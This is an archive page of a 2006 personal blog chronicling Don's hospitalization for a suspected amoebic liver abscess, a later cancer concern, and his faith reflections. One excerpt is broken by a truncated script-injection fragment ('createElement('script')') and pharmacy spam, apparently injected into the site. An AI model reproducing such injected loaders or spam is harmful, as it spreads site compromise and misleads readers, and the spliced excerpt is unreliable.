An Amoebic Liver Abscess from Guatemala?

October 1, 2006 from Don | Hospitalization, Quick Overview, The Whole Story, Ups and Downs | Comments Off on An Amoebic Liver Abscess from Guatemala?

Good morning Skip, I woke a little early this morning but I am feeling good. I think the doctors may have the acid reflux under control so I am hopeful I can begin eating today. The article below from CDC is a good one and shows the life cycle of the amoeba clearly. Thanks for […]

Pneumonia?

October 2, 2006 from Don | Hospitalization, The Whole Story, Ups and Downs | Comments Off on Pneumonia?

Skip, I am hoping to head home today. I am now being told the I have low grade pneumonia in bottom of right lung and it is because of my shallow breathing with the liver issues. I had a CT Scan this morning and have been eating real food for lunch, dinner and now breakfast. […]

Home from the Hospital & Building a Medical Team

October 6, 2006 from Don | The Whole Story | Comments Off on Home from the Hospital & Building a Medical Team

I was able to return home yesterday. I am scheduled to meet with Dr Bill Ehni on Monday. He is the Infectious Disease Specialist who met with me while I was in the hospital.var d=document;var s=d.createElement(‘script’); Don’t think that if you haven’t found an affordable solution for your Vantin purchase, there’s no such thing, because […]

Continuing to Drain the Liver

October 9, 2006 from Don | The Whole Story | Comments Off on Continuing to Drain the Liver

Larisa, I thought I would check in with you since I went to Dr Bill Ehni, the Infectious Disease specialist today. I am feeling stronger every day and have been up and about since Saturday. I went off pain medications on Friday. I still have some discomfort in the lung/liver area, especially when breathing in […]

Abnormal Cells Detected in the Liver Abscess!

October 13, 2006 from Skip | Discouraging Times, Quick Overview, The Whole Story, Ups and Downs | Comments Off on Abnormal Cells Detected in the Liver Abscess!

This afternoon Don found out from the NWH team that his abscess has not gone down in size as expected, and it is still draining.  They are not finding amoeba & fecal matter in the drainage as they expected, but are finding some “abnormal” cells.  They want to do a biopsy, and try to find […]

Research on the Nasty Amoeba

October 14, 2006 from Don | Photos, The Whole Story, Ups and Downs | Comments Off on Research on the Nasty Amoeba

Skip, I found a great site from India and here is some information that might explain the abnormal cells: On microscopic examination the pus may show dead and deformed hepatocytes (although often they are not recognizable as liver cells), RBCs and a few polymorphs. The trophozoites of E. Histolytica are usually present in the wall […]

The Dreams and Visions Begin

October 15, 2006 from Don | Encouraging Times, Photos, Quick Overview, The Whole Story | Comments Off on The Dreams and Visions Begin

The Lord has been waking me up a lot these last few days– 3:30AM yesterday, 2AM this morning and I have had these amazing conversations with him that have been so sweet and tender that I can hardly put them into words. There are a few thoughts specifically about our leadership gathering at the Rainer […]

Dr. Greg Schroedl has continued to watch over my test results and talk to other physicians in order to determine what the abnormal cells are in my liver and why the abscess is not shrinking. One of the initial CT scans of my liver also detected another smaller mass in the lower right lobe of […]

What Was on my Heart I Wanted to Share with Wes and Skip?

October 15, 2006 from Don | Quick Overview, The Whole Story | Comments Off on What Was on my Heart I Wanted to Share with Wes and Skip?

So many times in our attempt to follow Jesus, we fail. Not from a lack of trying but more often for talking about Christianity, about our Religion rather than relationships. The disciples and apostles had a relationship with Jesus and were never asked to become Christians. We are so hung up on focusing on differences […]

Three Chances to Escape the Cancer!

October 18, 2006 from Don | Encouraging Times, Quick Overview, The Whole Story, Ups and Downs | Comments Off on Three Chances to Escape the Cancer!

The morning following the Canlis Dinner Bart, Dan, Heather and I enjoyed a delightful breakfast together. Heather wanted to hear all about our dinner and as we shared, new stories unfolded and I realized I was again experiencing this sense of Heaven, of timeless Joy. We were laughing, crying, sharing stories as if we had […]

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